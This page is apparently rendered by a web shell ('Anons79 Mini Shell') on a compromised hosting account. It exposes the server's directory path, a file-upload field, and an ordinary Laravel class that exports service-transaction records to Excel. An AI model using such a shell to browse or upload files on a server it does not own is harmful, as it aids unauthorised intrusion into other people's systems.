Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/demo2.fixmate.id/app/Exports/
Upload File :
Current File : /home/aplikasiposinfo/public_html/demo2.fixmate.id/app/Exports/TransaksiServiceExport.php

<?php

namespace App\Exports;

use App\Models\Service;
use Maatwebsite\Excel\Concerns\FromArray;
use Maatwebsite\Excel\Concerns\FromCollection;
use Maatwebsite\Excel\Concerns\ShouldAutoSize;
use Maatwebsite\Excel\Concerns\WithEvents;
use Maatwebsite\Excel\Concerns\WithHeadings;
use Maatwebsite\Excel\Events\AfterSheet;

class TransaksiServiceExport implements FromArray, WithHeadings, ShouldAutoSize, WithEvents
{

    /**
     * @var array
     */
    protected $export;

    /**
     * ExampleExport constructor.
     *
     * @param array $export
     */
    public function __construct(array $export)
    {
        $this->export = $export;
    }

    /**
     * @return array
     */
    public function array(): array
    {
        return $this->export;
    }

    /**
     * @return array
     */
    public function headings(): array
    {
        return [
            'No Service',
            'Tanggal Masuk',
            'Tanggal Pelunasan',
            'Nama_pelanggan',
            'Status Pengerjaan',
            'Status Pembayaran',
            'Status Transaksi',
            'Metode Bayar',
            'Merk & type',
            'Kerusakan',
            'Sparepart',
            'Jenis Sparepart',
            'Akhir Garansi',
            'Nama Teknisi',
            'Nama Kasir',
            'Nama Sales',
            'Kasir Out',
            'Sales Out',
            'DP',
            'Modal Jasa',
            'Laba/Rugi Jasa',
            'Modal Sparepart',
            'Jual Sparepart',
            'Laba/Rugi Sparepart',
        ];
    }

    /**
     * @return array
     */
    public function registerEvents(): array
    {
        return [
            AfterSheet::class => function (AfterSheet $event) {
                // Menetapkan style pada baris header
                $event->sheet->getStyle('1')->applyFromArray([
                    'font' => [
                        'bold' => true,
                        'size' => 12,

                    ]
                ]);
            },
        ];
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]